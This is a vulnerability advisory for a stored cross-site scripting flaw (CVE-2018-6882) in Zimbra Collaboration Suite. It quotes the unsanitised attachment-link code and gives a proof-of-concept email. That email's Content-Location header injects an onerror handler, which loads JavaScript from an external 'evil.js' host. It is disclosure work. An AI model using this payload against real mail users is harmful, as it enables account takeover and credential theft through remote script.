Abstract
A Cross-Site Scripting (XSS) vulnerability was found in Zimbra Collaboration Suite (ZCS). This issue allows an attacker to perform a wide variety of actions such as performing arbitrary actions on their behalf or presenting a fake login screen to collect usernames and passwords. In order to exploit this issue, the attacker has to lure a victim into opening a specially crafted email in ZCS.
See also
- CVE-2018-6882
- Zimbra Collaboration 8.8.7 GA Release
- Persistent XSS - content-location
- Zimbra Collaboration - Security Vulnerability Advisories
Tested versions
This issue was successfully tested on ZCS 8.7.11_GA_1854 (build 20170531151956). It is however likely that this issue is present in all versions of ZCS from version 8.5.0 on.
Fix
The issue is fixed in Zimbra Collaboration Suite version 8.8.7.
Introduction
Zimbra is an enterprise-class email, calendar and collaboration solution built for the cloud, both public and private. It has a browser-based interface. It runs on any device: smartphone, tablet and desktop or laptop computer running Windows, Linux or OS X.
A Cross-Site Scripting vulnerability was found in Zimbra Collaboration Suite (ZCS). This issue allows an attacker to perform a wide variety of actions such as performing arbitrary actions on their behalf or presenting a fake login screen to collect usernames and passwords. In order to exploit this issue, the attacker has to lure a victim into opening a specially crafted email in ZCS.
Details
If an email is opened that contains one or more attachments, a link (<a>
tag) is created for each attachment. The code responsible for doing this is contained in the ZmMailMsgView.getAttachmentLinkHtml
function.
ZmMailMsgView.getAttachmentLinkHtml =
function(params) {
var html = [],
i = 0;
html[i++] = "<a class='AttLink' ";
[..]
var href = params.href || (params.jsHref && "javascript:;");
html[i++] = href ? "href='" + href + "' " : "";
[..]
html[i++] = "'>" + AjxStringUtil.htmlEncode(params.text) + "</a>";
return html.join("");
};
In the above code the value for params.href
is taken directly from the Content-Location
header in the message. No sanitization is performed, and the value in the header can be influenced by an attacker. As a result it is possible to inject arbitrary HTML or JavaScript in the <a>
tag.
To exploit this issue an attacker can send an email with a specially crafted Content-Location
header to a victim user. When the victim opens this message the script code will be executed.
Proof of concept
The following proof of concept email can be used to demonstrate this issue. When opening this mail, a JavaScript file from an external location will be loaded in Zimbra.
---[snip]---
From: me@example.com
To: victim@example.com
Subject: Re: My message
MIME-Version: 1.0
Date: Thu, 4 Jan 2018 14:25:25 +0100 (CET)
Content-Type: multipart/mixed;
boundary="----=_Part_112602234_144352703.1515072325170"
------=_Part_112602234_144352703.1515072325170
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
------=_Part_112602234_144352703.1515072325170
Content-Type: text/plain; name=attachment.txt
Content-Disposition: attachment; filename=attachment.txt
Content-Transfer-Encoding: base64
Content-Location: http://foo.bar'></a><img src=a onerror=window.x=document.createElement('script');window.x.src='https://s3-eu-west-1.amazonaws.com/eviljs/evil.js';document.body.appendChild(window.x)><a href='
YXR0YWNobWVudAo=
------=_Part_112602234_144352703.1515072325170--
---[snip]---